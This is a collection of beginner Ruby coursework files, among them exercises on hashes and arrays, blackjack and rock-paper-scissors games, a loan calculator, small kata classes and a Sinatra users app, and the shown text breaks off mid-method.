5321 % 10 #ones puts 5321 / 10 % 10 #tens puts 5321 / 100 % 10 #hundreds puts 5321 / 1000 % 10 #thousands #exercise n. 3 movies_hsh = { some_film: 1975, some_other_film: 2004, yet_another_one: 2013, and_again: 2001, and_again_film: 1981 } movies_hsh.each do |film, year| puts year end #exercise n. 4 movies_arr = [1975, 2004, 2013, 2001, 1981] movies_arr.each do |year| puts year end #exercise n. 5 factorials = [5, 6, 7, 8] add = 0 result = 1 factorials.each do |number| until number == add add += 1 result *= add end puts result end #exercise n. 6 puts 3.33 * 7.21 puts 4.31 * 2.23 puts 7.89 * 6.321 #exercise n. 7 #there is a ) insted of } somewhere in the code, would check hashes <file_sep>require 'pry' SUITS = ["heart", "club", "diamond", "spades"] ONE_SUIT = { "two" => 2, "three" => 3, "four" => 4, "five" => 5, "six" => 6, "seven" => 7, "eight" => 8, "nine" => 9, "ten" => 10, "jack" => 10, "queen" => 10, "king" => 10, "ace" => 11 } DECK = {} # generates deck, with 4 suits def generate_deck(suits, one_suit, deck) suits.select do |suit| deck[suit] = {} one_suit.select do |key, value| deck[suit][suit + " " + key] = value end end end generate_deck(SUITS, ONE_SUIT, DECK) def prompt(message) puts "=> #{message}" end # checks if the card has already been delt def valid_card(cards_in_game, generated_card) cards_in_game.include?(generated_card) end def generate_card(deck_of_cards, cards_in_game) # generates random card from a deck of 52 cards, 4 suits loop do card = deck_of_cards.values.sample.to_a.sample if !valid_card(cards_in_game, card) cards_in_game.push(card) return card else next end end end def deal_to_participant(card, hand) hand.push(card) end def display_hand(cards_in_hand, participant) prompt "#{participant} cards:" cards_in_hand.each do |card| prompt "#{card[0]}(#{card[1]})" end end def evaluate_dealer(dealer_cards, score) score[:dealer_points] = 0 dealer_cards.each do |value| if value[1] == 11 && score[:dealer_points] + value[1] > 21 value[1] = 1 score[:dealer_points] += 1 else score[:dealer_points] += value[1] end end end def evaluate_player(player_cards, score) score[:player_points] = 0 player_cards.each do |value| if value[1] == 11 && score[:player_points] + value[1] > 21 value[1] = 1 score[:player_points] += 1 else score[:player_points] += value[1] end end end def over_21?(score) score.values.each do |value| if value > 21 return true elsif value <= 21 next end end false end def display_winner(score) # when both players stay, and nobody busts if score[:dealer_points] <= 21 && score[:player_points] <= 21 if score[:dealer_points] < score[:player_points] "Player won with #{score[:player_points]} points." elsif score[:dealer_points] > score[:player_points] "Dealer won with #{score[:dealer_points]} points." else 'Nobody won, you have same amount of points!' end # when one of the players busts elsif score[:dealer_points] > 21 'Player won, Dealer busts!' elsif score[:player_points] > 21 'Dealer won, Player busts!' end end def track_wins(score, wins) wins[:rounds] += 1 # when both players stay, and nobody busts if score[:dealer_points] <= 21 && score[:player_points] <= 21 if score[:dealer_points] < score[:player_points] wins[:player_wins] += 1 elsif score[:dealer_points] > score[:player_points] wins[:dealer_wins] += 1 end # when one of the players busts elsif score[:dealer_points] > 21 wins[:player_wins] += 1 elsif score[:player_points] > 21 wins[:dealer_wins] += 1 end end def display_wins(wins) prompt "Player wins: #{wins[:player_wins]}, " \ "Dealer wins: #{wins[:dealer_wins]}, " \ "Total rounds: #{wins[:rounds]}." end def reset_wins(wins) wins[:player_wins] = 0 wins[:dealer_wins] = 0 wins[:rounds] = 0 end def end_game_message(dealer_cards, player_cards, score) puts "\n\n\n#{display_winner(score)} \n\n" display_hand(dealer_cards, 'Dealer') prompt "with #{score[:dealer_points]} points.\n\n" display_hand(player_cards, 'Player') prompt "with #{score[:player_points]} points.\n\n" end wins = { player_wins: 0, dealer_wins: 0, rounds: 0 } loop do cards_in_game = [] dealer_hand = [] player_hand = [] record = { player_points: 0, dealer_points: 0 } 2.times do # dealer and player each get 2 cards deal_to_participant(generate_card(DECK, cards_in_game), player_hand) deal_to_participant(generate_card(DECK, cards_in_game), dealer_hand) end evaluate_player(player_hand, record) evaluate_dealer(dealer_hand, record) prompt "Dealer has: #{dealer_hand[0][0]}(#{dealer_hand[0][1]})\n\n" display_hand(player_hand, 'Player') # players turn starts loop do puts "\n" prompt "Hit(1), or stay(2)?" answer = '' # checking for correct input loop do answer = gets.chomp break if answer == '1' || answer == '2' prompt "Type '1' to hit or '2' to stay." end # handels players response if answer == '1' deal_to_participant(generate_card(DECK, cards_in_game), player_hand) evaluate_player(player_hand, record) display_hand(player_hand, 'Player') if over_21?(record) end_game_message(dealer_hand, player_hand, record) track_wins(record, wins) display_wins(wins) break end else break end end # skips computer turn in case player has already lost if over_21?(record) && !wins[:dealer_wins] next elsif wins[:dealer_wins] == 5 && over_21?(record) prompt "Dealer won this session!" prompt "Would you like to play another game? (y for yes)" another_game = gets.chomp if another_game.downcase[0] == 'y' reset_wins(wins) next else break end end prompt "its computers turn now..." loop do if record[:dealer_points] <= 17 # computer hits deal_to_participant(generate_card(DECK, cards_in_game), dealer_hand) evaluate_dealer(dealer_hand, record) if over_21?(record) end_game_message(dealer_hand, player_hand, record) track_wins(record, wins) display_wins(wins) break end else # computer stays end_game_message(dealer_hand, player_hand, record) track_wins(record, wins) display_wins(wins) break end end # handles end of game citeria, offers another game if wins[:dealer_wins] == 5 prompt "Dealer won this session!" prompt "Would you like to play another game? (y for yes)" another_game = gets.chomp if another_game.downcase[0] == 'y' reset_wins(wins) next else break end elsif wins[:player_wins] == 5 prompt "Player won this session!" prompt "Would you like to play another game? (y for yes)" another_game = gets.chomp if another_game.downcase[0] == 'y' reset_wins(wins) next else break end else next end end prompt "Thank you for playing 21!" \ " Good bye." <file_sep># checks string if there is an anagram suplied by match instance method # return only anagrams and not the original string. It is case insensitive. class Anagram def initialize(anagram) @anagram = anagram end def match(arry) result = arry.select do |word| word if word.downcase.chars.sort.join == @anagram.downcase.chars.sort.join end result.select { |word| word.casecmp(@anagram).nonzero? } end end <file_sep>def reduce(arry, acc = 0) counter = 0 num = nil while counter < arry.length num = arry[counter] if block_given? acc = yield(acc, arry[counter]) else acc += num end counter += 1 end acc end puts reduce([1, 2, 3], 10) { |acc, num| acc - num} <file_sep># exercise 1 require 'pry' module Affordable def can_afford?(cash) cash > 2000 ? true : false end end class Vehicle @@num_of_vehicles = 0 attr_accessor :color, :speed, :color attr_reader :year def initialize(year, model, color) @year = year @model = model @color = color @speed = 0 @@num_of_vehicles += 1 end def keep_track puts "There are #{@@num_of_vehicles} vehicles." end def speed_up(num) @speed += num end def break(num) @speed -= num end def shut_off @speed = 0 end def spray_paint(color) self.color = color end def info puts "was made in #{year}, model name: #{@model}, color:#{color}." puts "it is going #{@speed} km/h." end def self.gas_mileage(liter, km) puts "#{km / liter} kilometrs per liter of gas" end def to_s "Car model #{@model}, created in #{year}, colored #{color}" end def age years_old end private def years_old Time.now.year - self.year end end class MyCar < Vehicle include Affordable NUM_OF_WHEELS = 4 end class MyTruck < Vehicle MAX_CARGO = 9999 end p truck = MyTruck.new(1994, 'bmw', 'white') p car = MyCar.new(2000, 'mazda', 'blue') p truck.speed_up(30) p truck.speed p some = Vehicle.new(3000, 'ads', 'asd') p some.keep_track p car.can_afford?(30000) p MyCar.ancestors p MyTruck.ancestors p Vehicle.ancestors p truck.age # exercise 7 class Student def initialize(n, g) @name = n @grade = g end def better_grade_than?(other_student) grade > other_student.grade end protected def grade @grade end end me = Student.new("Me", 300) you = Student.new("You", 299) puts "Well done!" if me.better_grade_than?(you) # exercise 8 # The problem is that, instance method ``.hi`` is private # and therefore cannot be called from outside the class # The method should be cnaged to public. <file_sep># Question 1 # nil # Question 2 # result is { :a=>"hi there" } # Question 3 # case 1: '=' is non mutable operator # case 2: the same, also, method create their own isolated scope # case 3: as the name sugests, #gsub! mutates the caller, vars change. # Question 4 def generate_uuid() characters = [] (0..9).each { |num| characters << num.to_s } ('a'..'f').each { |char| characters << char} uuid = "" 8.times { uuid << characters.sample } uuid << '-' 4.times { uuid << characters.sample } uuid << '-' 4.times { uuid << characters.sample } uuid << '-' 4.times { uuid << characters.sample } uuid << '-' 12.times { uuid << characters.sample } uuid end puts generate_uuid # Question 5 # def dot_separated_ip_address?(input_string) # dot_separated_words = input_string.split(".") # return false unless dot_separated_words.size == 4 # while dot_separated_words.size > 0 do # word = dot_separated_words.pop # return false unless is_a_number?(word) # end # true # end def dot_separated_ip_address?(input_string) if input_string.split('.', 4).last.include?('.') return false elsif input_string.count('.') < 3 return false elsif input_string.split('.').join.to_i.to_s == input_string.split('.').join return true else return false end end puts dot_separated_ip_address?("192.168.127.12") puts dot_separated_ip_address?("12.123.23") puts dot_separated_ip_address?("21.12.12.12.12.12.12.12.12.1") puts dot_separated_ip_address?("12.12.dsad1.112ass1.1") puts dot_separated_ip_address?("0019192.168.127.12") <file_sep>LANGUAGE = 'slo' require 'yaml' MESSAGES = YAML.load_file('calculator_messages.yml') def messages(message, lang = 'en') MESSAGES[lang][message] end # adding another parameter var, for easyer enserting variables # adding order, when variable needs to be displayed first def prompt(key, var = '', order = nil) if order == 1 message = var.to_s + messages(key, LANGUAGE) else message = messages(key, LANGUAGE) + var.to_s end Kernel.puts("=> #{message}") end # improved validation for num input def valid_input(num) if num.to_i().to_s() == num return true elsif num.to_f().to_s() == num return true else return false end end def operation_performing(op) word = case op when '1' messages('add', LANGUAGE) when '2' messages('subtract', LANGUAGE) when '3' messages('multiply', LANGUAGE) when '4' messages('divide', LANGUAGE) end end prompt('welcome') name = '' loop do name = Kernel.gets().chomp() if name.empty?() prompt('valid_name') else break end end prompt('greeting_name', name) loop do num_1 = '' loop do prompt('first_num') num_1 = Kernel.gets().chomp() if valid_input(num_1) break else prompt('invalid_num') end end num_2 = '' loop do prompt('second_num') num_2 = Kernel.gets().chomp() if valid_input(num_2) break else prompt('invalid_num') end end prompt('operation_select') operation = '' loop do operation = Kernel.gets().chomp() if %w(1 2 3 4).include?(operation) break else prompt('invalid_operation') end end prompt('processing', operation_performing(operation), 1) result = case operation when '1' num_1.to_f() + num_2.to_f() when '2' num_1.to_f() - num_2.to_f() when '3' num_1.to_f() * num_2.to_f() when '4' num_1.to_f() / num_2.to_f() end if num_2 == '0' && operation == '4' prompt('zero_division_e') else prompt('result', result) end prompt('another_go') another = Kernel.gets().chomp() break unless another.downcase().start_with?('y') end prompt('goodbye_msg', name) <file_sep>class Series attr_accessor :digits def initialize(digits) @digits = digits end def slices(length) raise ArgumentError if digits.size < length counter = 0 new_arr = [] while (length + counter) <= digits.size new_arr << digits.slice(counter...(length + counter)).split('').map(&:to_i) counter += 1 end new_arr end end <file_sep>class MyCar attr_accessor :color attr_reader :year def initialize(year, model, color) @year = year @model = model @color = color @speed = 0 end def speed_up(num) @speed += num end def break(num) @speed -= num end def shut_off @speed = 0 end def spray_paint(color) self.color = color end def info puts "was made in #{year}, model name: #{@model}, color:#{color}." puts "it is going #{@speed} km/h." end end hiunday = MyCar.new(1994, "lantra", "blue") hiunday.info hiunday.speed_up(150) hiunday.info hiunday.break(20) hiunday.info hiunday.shut_off hiunday.info hiunday.color = "yellow" hiunday.info hiunday.spray_paint("Tiger blue") hiunday.info <file_sep>#exercise n. 1 =begin 1. (32 * 4) >= 129 false 2. false != !true false 3. true == 4 false 4. false == (847 == '874') true 5. (!true || (!(100 / 5) == 20) || ((328 / 4) == 82)) || false -----> true =end #exercise n. 2 def caps(word) if word.length > 10 return word.upcase else return word end end puts caps("aaaaaaaaa") puts caps("aaaaaaaaaaaaaaaaaaaa") #exercise n. 3 puts "input an integer between 0 and 100" num = gets.chomp.to_i case num when 0..50 puts "#{num} is between 0 and 50" when 51..100 puts "#{num} is between 51 and 100" else puts "#{num} is not whitin range" end #exercise n. 4 =begin 1. '4' == 4 ? puts("TRUE") : puts("FALSE") false 2. x = 2 did you get it right if ((x * 3) / 2) == (4 + 4 - x - 3) puts "Did you get it right?" else puts "Did you?" end 3. y = 9 Alright now! x = 10 if (x + 1) <= (y) puts "Alright." elsif (x + 1) >= (y) puts "Alright now!" elsif (y + 1) == x puts "ALRIGHT NOW!" else puts "Alrighty!" end =end #exercise n. 5 puts "input an integer between 0 and 100" num_2 = gets.chomp.to_i def some_method(number) case number when 0..50 puts "#{number} is between 0 and 50" when 51..100 puts "#{number} is between 51 and 100" else puts "#{number} is not whitin range" end end some_method(num_2) #exercise n. 6 #forgot to add another 'end', for end of method block <file_sep>OPTIONS = %w(rock paper scissors) def prompt(message) Kernel.puts("=> #{message}") end def win?(first, second) (first == 'rock' && second == 'scissors') || (first == 'paper' && second == 'rock') || (first == 'scissors' && second == 'paper') end def print_result(human, computer) if win?(human, computer) prompt('You win!') elsif win?(computer, human) prompt('You lose!') else prompt("It's a draw") end end prompt('Welcome to rock paper scissors game.') prompt('You will be playing agains me, your favorite computer') loop do prompt('Rock, paper or scissors?') answer = '' loop do answer = Kernel.gets().chomp().downcase() if OPTIONS.include?(answer) break else prompt("Invalid input! Valid choices are: #{OPTIONS.join(', ')}.") end end computer_choice = OPTIONS.sample() print_result(answer, computer_choice) prompt('Care for another?(Y for yes / other for no)') another_go = Kernel.gets().chomp() break unless another_go.downcase().start_with?('y') end prompt('Thanks for playing, good bye!') <file_sep>require 'sequel' DB = Sequel.connect(adapter: 'postgres', database: 'sequel-single-table') DB[:menu_items].each do |e| puts e[:item] puts "menu_price: $#{e[:menu_price].to_f}" puts "ingredients cost: $#{e[:ingredient_cost].to_f}" puts "preparation time: #{e[:prep_time]}" puts "labor: $#{format "%.2f", e[:prep_time] / 60.0 * 12}" puts "profit: $#{(e[:menu_price] - (e[:prep_time] / 60.0 * 12) - e[:ingredient_cost]).to_f}" puts '' end <file_sep>a = ['white snow', 'winter wonderland', 'melting ice', 'slippery sidewalk', 'salted roads', 'white trees'] new_arr = [] a.map do |word| new_arr.push(word.split(" ")) end puts new_arr new_arr <file_sep>require 'yaml' MESSAGES = YAML.load_file('calculator_messages.yml') def prompt(message) Kernel.puts("=> #{message}") end # improved validation for num input def valid_input(num) if num.to_i().to_s() == num return true elsif num.to_f().to_s() == num return true else return false end end def operation_performing(op) word = case op when '1' MESSAGES['add'] when '2' MESSAGES['subtract'] when '3' MESSAGES['multiply'] when '4' MESSAGES['divide'] end word end prompt(MESSAGES['welcome']) # prompt('Welcome to the calculator! Enter your name:') name = '' loop do name = Kernel.gets().chomp() if name.empty?() prompt(MESSAGES['valid_name']) #prompt('Enter a valid name') else break end end prompt(MESSAGES['greeting_name'] + name) #prompt("Hi, #{name}") loop do num_1 = '' loop do prompt(MESSAGES['first_num']) #prompt('Input the first number.') num_1 = Kernel.gets().chomp() if valid_input(num_1) break else prompt(MESSAGES['invalid_num']) #prompt('You didnt choose a number!') end end num_2 = '' loop do prompt(MESSAGES['second_num']) #prompt('Input the second number.') num_2 = Kernel.gets().chomp() if valid_input(num_2) break else prompt(MESSAGES['invalid_num']) #prompt('You didnt choose a number!') end end # prompt(MESSAGES['operation_select']) =begin operator_prompt = <<-MSG Input the operation, you wish to perform: 1) add 2) subtract 3) multiply 4) divide MSG =end prompt(MESSAGES['operation_select']) operation = '' loop do operation = Kernel.gets().chomp() if %w(1 2 3 4).include?(operation) break else prompt(MESSAGES['invalid_operation']) #prompt('Choose whitin the specified range please.') end end prompt("#{operation_performing(operation)}" + MESSAGES['processing']) #prompt("#{operation_performing(operation)} numbers...") result = case operation when '1' num_1.to_f() + num_2.to_f() when '2' num_1.to_f() - num_2.to_f() when '3' num_1.to_f() * num_2.to_f() when '4' num_1.to_f() / num_2.to_f() end if num_2 == '0' && operation == '4' prompt(MESSAGES['zero_division_e']) #prompt('Division by zero error!') else prompt(MESSAGES['result'] + result.to_s) #prompt("Result is #{result}") end prompt(MESSAGES['another_go']) #prompt('Perform another operation?(Y for yes /other for no)') another = Kernel.gets().chomp() break unless another.downcase().start_with?('y') end prompt(MESSAGES['goodbye_msg'] + name) #prompt("Thanks for using the calculator, #{name}.\n Good bye!") <file_sep># class MyCar # attr_accessor :color # attr_reader :year # # def initialize(year, model, color) # @year = year # @model = model # @color = color # @speed = 0 # end # # def speed_up(num) # @speed += num # end # # def break(num) # @speed -= num # end # # def shut_off # @speed = 0 # end # # def spray_paint(color) # self.color = color # end # # def info # puts "was made in #{year}, model name: #{@model}, color:#{color}." # puts "it is going #{@speed} km/h." # end # # def self.gas_mileage(liter, km) # puts "#{km/liter} kilometrs per liter of gas" # end # # def to_s # "Car model #{@model}, created in #{year}, colored #{color}" # end # end # # MyCar.gas_mileage(35, 450) # my_car = MyCar.new('1994', 'Ford KA', 'silver') # puts my_car # exercise 3 # error ocures because we used attr_reader # which can oly read, data but not change(write) it. # we can change attr_reader to attr_writer or attr_accessor class Person attr_writer :name def initialize(name) @name = name end end bob = Person.new("Steve") bob.name = "Bob" <file_sep># calculates hamming's distance between two DNA sequences, # disregards the exess characters of the longer sequence. class DNA def initialize(seq) @sequence = seq.chars end def hamming_distance(seq) @sequence.zip(seq.chars).select do |pair| pair.first != pair.last unless pair.include? nil end.size end end <file_sep>def select(arry) counter = 0 returned_values = [] while counter < arry.length if yield(arry[counter]) returned_values << arry[counter] end counter += 1 end returned_values end select([1, 2, 3, 4, 5, 6]) { |num| num.odd? } <file_sep>module DeckAndCards SUITS = ["heart", "club", "diamond", "spades"] ONE_SUIT = { "two" => 2, "three" => 3, "four" => 4, "five" => 5, "six" => 6, "seven" => 7, "eight" => 8, "nine" => 9, "ten" => 10, "jack" => 10, "queen" => 10, "king" => 10, "ace" => 11 } DECK = {} def generate_deck(suits, one_suit, deck) suits.select do |suit| deck[suit] = {} one_suit.select do |key, value| deck[suit][suit + " " + key] = value end end end def generate_card suit = SUITS.sample card = DECK[suit].to_a.sample DECK[suit].delete(card.first) return card end end class Player include DeckAndCards attr_accessor :hand, :stay def initialize @hand = [] @stay = false end def hit hand << generate_card end def stay! self.stay = true end def stay? stay end def display_hand if self.class == Human puts "+=== Your Hand ===+" else puts "+= Dealer's hand =+" end hand.each do |card| puts "#{card.first}: #{card.last}" end puts "+ - - - - - - - - +" puts "total of: #{points_in_hand}" puts "+=================+" end def points_in_hand points = 0 hand.each do |card| value = card.last.to_i if points + value > 21 && value == 11 card[1] = "1" points += 1 else points += value end end points end end class Human < Player def move puts "Hit or stay?" answer = nil loop do answer = gets.chomp.downcase break if answer == 'hit' || answer == 'stay' puts "Invalid input!" end case answer when 'hit' hit when 'stay' stay! end end end class Computer < Player def move if points_in_hand <= 17 hit else stay! end end def display_one_card puts "+=== Dealer's Hand ===+" puts "#{hand[0][0]}: #{hand[0][1]}" puts "+======================+" end end class Game include DeckAndCards attr_reader :human, :computer def initialize generate_deck(SUITS, ONE_SUIT, DECK) @computer = Computer.new @human = Human.new end def deal_cards 2.times do human.hit computer.hit end end def over_21?(player) if player.points_in_hand > 21 true else false end end def who_won(player1, player2) if over_21?(player1) || player1.points_in_hand < player2.points_in_hand && !over_21?(player2) player2 elsif over_21?(player2) || player1.points_in_hand > player2.points_in_hand && !over_21?(player1) player1 end end def display_welcome_message system 'clear' puts "+--- WELCOME ---+" puts "| |" puts "| to: TwentyOne |" puts "| |" puts "+---------------+" puts "" end def display_good_bye_message puts "" puts "+--- GOOD BYE ---+" puts "| |" puts "| Thanks |" puts "| for |" puts "| playing |" puts "| |" puts "+----------------+" end def display_winner(player) system 'clear' unless over_21?(human) puts "" puts "+---- RESULT ----+" if player == human puts " You won" elsif player == computer puts " Dealer won" else puts " It's a draw" end puts "+----------------+" puts "" end def you_bust system 'clear' puts "" puts "+----- LOST -----+" puts "| |" puts "| You bust |" puts "| |" puts "+----------------+" end def play_again? puts "" puts "Play another game?(y/n)" answer = gets.chomp.downcase true if answer == 'y' end def play_another_game initialize system 'clear' puts "Let's play again!" puts "" end def play display_welcome_message loop do deal_cards loop do computer.display_one_card human.display_hand human.move break if over_21?(human) || human.stay? end if over_21?(human) you_bust else loop do computer.move break if over_21?(computer) || computer.stay? end end display_winner(who_won(human, computer)) computer.display_hand human.display_hand break unless play_again? play_another_game end display_good_bye_message end end game = Game.new game.play <file_sep>OPTIONS = %w(rock paper scissors lizard spock) require 'pry' def prompt(message) Kernel.puts("=> #{message}") end record = { human_wins: 0, comp_wins: 0, draws: 0, games: 0 } def win?(first, second) (first == '1' && second == '4') || (first == '4' && second == '5') || (first == '5' && second == '3') || (first == '3' && second == '2') || (first == '2' && second == '1') || (first == '1' && second == '3') || (first == '3' && second == '4') || (first == '4' && second == '2') || (first == '2' && second == '5') || (first == '5' && second == '1') end def print_result(human, computer) if win?(human, computer) prompt('You win!') elsif win?(computer, human) prompt('You lose!') else prompt("It's a draw") end end def determine_winner(human, computer) if win?(human, computer) return 'human' elsif win?(computer, human) return 'computer' else return 'draw' end end def print_score(winner, score_hash) case winner when 'human' score_hash[:human_wins] += 1 when 'computer' score_hash[:comp_wins] += 1 when 'draw' score_hash[:draws] += 1 end score_hash[:games] += 1 prompt("You have played: #{score_hash[:games]} games. You won: #{score_hash[:human_wins]} times. Computer won #{score_hash[:comp_wins]} times. There were #{score_hash[:draws]} draws.") end prompt("Welcome to #{OPTIONS.join(', ')}.") prompt('Rules are: Scissors cuts Paper, Paper covers Rock, Rock crushes Lizard, Lizard poisons Spock, Spock smashes Scissors, Scissors decapitates Lizard, Lizard eats Paper, Paper disproves Spock, Spock vaporises Rock, Rock crushes Scissors.') loop do prompt("Chose one of the following: #{OPTIONS.join(', ')}") prompt("1 rock\n 2 paper\n 3 scissors\n 4 lizard\n 5 spock") answer = '' loop do answer = Kernel.gets().chomp() if answer.empty? || !(answer.to_i().to_s() == answer) || answer.to_i < 0 || answer.to_i > 5 prompt("Cooperate; input a num from 1 to 5") else prompt("You have chosen: #{OPTIONS[answer.to_i() - 1]}") break end end computer_choice = (OPTIONS.index(OPTIONS.sample()) + 1).to_s() prompt("I choose: #{OPTIONS[computer_choice.to_i() - 1]}") print_result(answer, computer_choice) print_score(determine_winner(answer, computer_choice), record) break if record[:comp_wins] >= 5 || record[:human_wins] >= 5 end <file_sep>#exercise n. 1 family = { uncles: ["bob", "joe", "steve"], sisters: ["jane", "jill", "beth"], brothers: ["frank","rob","david"], aunts: ["mary","sally","susan"] } close_family = family.select do |key, value| key == :sisters || key == :brothers end p close_family.values.flatten #exercise n. 2 a = {a: 1, b: 2, c: 3} b = {d: 4, e: 5, f: 6} #original hash a remains the same a.merge(b) p a #hash a is transformed, values from hash b are added a.merge!(b) p a #exercise n. 3 hash = {:a=>1, :b=>2, :c=>3, :d=>4, :e=>5, :f=>6} hash.each do |key, value| puts key puts value puts "Key: #{key}, value: #{value}" end #exercise n. 4 person = {name: 'Bob', occupation: 'web developer', hobbies: 'painting'} puts person[:name] #exercise n. 5 people = {number: 100, language: "human"} puts people.has_value?("human") #exercise n. 6 words = ['demo', 'none', 'tied', 'evil', 'dome', 'mode', 'live', 'fowl', 'veil', 'wolf', 'diet', 'vile', 'edit', 'tide', 'flow', 'neon'] words_new = {} words.map do |word| anagram = word.split('').sort.join if words_new.has_key?(anagram) words_new[anagram] << word else words_new[anagram] = [word] end end words_new.each do |key, value| puts "key: #{key}, value: #{value}" end #exercise n. 7 #first hash uses a symbol as key, the secont uses a variable #exercise n. 8 #B <file_sep>def prompt(message) Kernel.puts("=> #{message}") end prompt('Welcome to Mortgage / Car Loan Calculator!') loop do prompt('Input the loan amount.') loan = '' loop do loan = Kernel.gets().chomp() if loan.empty? || loan.to_f < 0 || !(loan.to_i().to_s() == loan) prompt('You must enter a positive sum') else break end end prompt('Input the annual percentage rate.') apr = '' loop do apr = Kernel.gets().chomp() if apr.empty? || apr.to_f < 0 || !(apr.to_i().to_s() == apr) prompt('You must enter percentage e.g. (33)') else break end end prompt("Input the loan duration in years.") duration = '' loop do duration = Kernel.gets().chomp() if duration.empty? || duration.to_f < 0 || !(duration.to_i().to_s() == duration) prompt('Enter correct time duration') else break end end apr = apr.to_f() / 100 m_interest_rate = apr.to_f() / 12 m_duration = duration.to_i() * 12 m_payment = loan.to_f() * (m_interest_rate / (1 - (1 + m_interest_rate)**-m_duration)) prompt("Monthly interest rate is: #{format('%02.2f', m_interest_rate * 100)}%") prompt("You will need to pay $#{format('%02.2f', m_payment)}$ per month, for #{m_duration} months.") prompt('Would you like to perform another operation? (y for yes, other for no)') answer = Kernel.gets().chomp() break unless answer.downcase().start_with?('y') end <file_sep>require 'yaml' require 'sinatra' require 'sinatra/reloader' require 'tilt/erubis' # Psych == YAML # before do # @users = YAML.load_file("users.yml") # end # # helpers do # def count_interests(users) # users.reduce(0) do |sum, (name, user)| # sum + user[:interests].size # end # end # end # # get "/" do # redirect "/users" # end # # get "/users" do # erb :users # end # # get "/:user_name" do # @user_name = params[:user_name].to_sym # @email = @users[@user_name][:email] # @interest = @users[@user_name][:interests] # # erb :user # end before do @users = YAML.load_file("users.yml") end helpers do def count_interests(users) users.reduce(0) do |sum, (name, user)| sum + user[:interests].size end end end get "/" do redirect "/users" end get "/users" do erb :users end get "/:user_name" do @user_name = params[:user_name].to_sym @email = @users[@user_name][:email] @interests = @users[@user_name][:interests] erb :user end =begin "/" --> redirect to "homepage" list of user names - links to users page users page: - display: email address, interests, with comma between each interest - at the bottom, link to other users at bottom of every page, display: "There are n users, with m interests." <-- helper method count_interests, all interests from all users add new user to yaml file =end <file_sep>#exercise n. 1 puts "Input your name." name = gets.chomp puts "Hello " + name #exercise n. 2 puts "How old are you?" age = gets.chomp.to_i puts "In 10 years you will be: " puts age + 10 puts "In 20 years you will be: " puts age + 20 puts "In 30 years you will be: " puts age + 30 puts "In 40 years you will be: " puts age + 40 #exercise n. 3 10.times {puts name} #exercise n. 4 puts "Input your last name" last_name = gets.chomp puts "hello " + name + " " + last_name #exercise n. 5 #in the first case it prints 3 #in second case it throws and error, beacause variable x is only availeble whitin the scope of the block #exercise n. 6 #variable shoes is out of scope. <file_sep>class Sieve def initialize(limit) @limit = limit end def primes (2..@limit).to_a.reject! do |num| (1..@limit).to_a.map { |n| num % n == 0 }.count(true) != 2 end end end <file_sep># Question 1 # Confusion # Question 2 # All # Question 3 # my_string remains the same, '+=' does NOT mutate the caller # << however, does. So my_array gets changed # Question 4 # my_string becomes "rutabaga", because method 'gsub!' mutates the caller # as sugested by '!' at the end of method name # my_array remains the same, since asignment does not mutate the caller # Question 5 # def color_valid(color) # color == "blue" || color == "green" # end # ruby automatically evaluates the expression, and returns it's value <file_sep># Question 1 # all of the folowing are objects # to find wich classes they belong to, # use .class instance method of Object class. # true.class # => TrueClass # "hello".class # => String # [1, 2, 3, "happy days"].class # => Array # 142.class # => Fixnum # Question 2 # by including the modlue Speed in the classes Car and Truck # to find out if a class has a method, call the method # on an instance of the class. # Question 3 # this is because we used ``self.class`` in method definition # self inside the method definition refers to the instance of the class # self.class therefore refers to the class of the instance, which is Car. # Question 4 # to initiate a new object of class AngryCat, we use # .new instance method of class Class. # Question 5 # class Pizza has an instance variable, # class Fruit has a local variable. # instance variables' names are preceded by ``@`` # alternatively, instance method .instance_variables, # could be called on object to get an array containig # all the instance variables of the object. # Question 6 # to access instance variable, we could define a ``getter method`` # by using instance method ``attr_reader`` of class Module. # or by "manualy" definig a method, which returns the instance variable. # or by calling the instance method .instance_variable_get of class Object # and supplying it with the instance variable. # Question 7 # calling to_s method on object, will print the object's class and an # encoding of the object id to the console. # Question 8 # ``self`` in the definition of an instance method refers to the instance # (object), that called the method. # Question 9 # ``self`` in the name of class mehod refers to the class itself # Question 10 # in this case, if we want to initialize a new instance, we have to call # the method .new, and suply it with two arguments. <file_sep>#exercise n. 1 arr = [1, 3, 5, 7, 9, 11] number = 3 arr.include?(number) #exercise n. 2 #returns 1 #returns [1, 2, 3] #exercise n. 3 arr = [["test", "hello", "world"],["example", "mem"]] puts arr[1][0] #exercise n. 4 #the value at index 5, which is 8, the sixth element in array #syntax error #the value at index 5, which is again 8 #exercise n. 5 #a = "e" #b = "A" #c = nil #exercise n. 6 #error, if you want to change values in the array this way, you have to supply the index. we are not dealing with hashes names = ['bob', 'joe', 'susan', 'margaret'] names[3] = 'jody' puts names #exercise n. 7 array = [1, 2, 3, 4, 5] arry = [] array.each do |value| arry.push(value += 2) end p arry p array <file_sep>#exercise n. 1 def greeting(name) "Hello " + name end puts greeting("XYZ") #exercise n. 2 =begin x = 2 evaluates to 2 puts x = 2 evaluates to nil p name = "Joe" evaluates to "Joe" four = "four" evaluates to "four" print something = "nothing" evaluates to nil =end #exercise n. 3 def multiply(x, y) x * y end puts multiply(12, 25) #exercise n. 4 #it will NOT print "Yippeee!!!!" to the screen #exercise n. 5 #returns nil #exercise n. 6 #method expected to get two arguments, but only got one <file_sep>class Player attr_accessor :move, :name, :score, :move_history, :difficulty def initialize @score = 0 @move_history = [] set_name set_difficulty end end class Human < Player ALL_MOVES = [] def set_name n = '' loop do puts "What's your name?" n = gets.chomp break unless n.empty? puts "Sorry, enter a value." end self.name = n end def choose choice = nil loop do puts "Please choose rock, paper, scissors, lizard or spock:" choice = gets.chomp break if Move::VALUES.include? choice puts "Sorry, invalid choice" end self.move = Move.new(choice) move_history << choice ALL_MOVES << choice end def set_difficulty "depend on your own skill" end end class Computer < Player def set_name self.name = ['R2D2', 'Hal', 'Chappie', 'Sonny', 'Number 5'].sample end def set_difficulty puts "Set the difficulty from 1 to 100" puts "100 being 100% chance computer will counter your move," puts "and 1 being computer selecting at random." answer = nil loop do answer = gets.chomp.to_i break if (1..100).cover? answer puts "You must choose a number between 1 and 100!" end self.difficulty = answer end def choose(arr) choice = Move.new(arr.sample) move_history << choice.value self.move = choice end # def track_human_gameplay # human_moves = {} # Human::ALL_MOVES.each do |move| # human_moves[move] = Human::ALL_MOVES.count(move) # end # # human_moves # defend_against = track_human_gameplay.invert.to_a.sort.last.last # end def calculate_choice(toughness) chance = rand(1..100) if (1..toughness).cover? chance counter = Human::ALL_MOVES.last else return choose(Move::VALUES) end case counter when 'rock' choose(['paper', 'spock']) when 'paper' choose(['scissors', 'lizard']) when 'scissors' 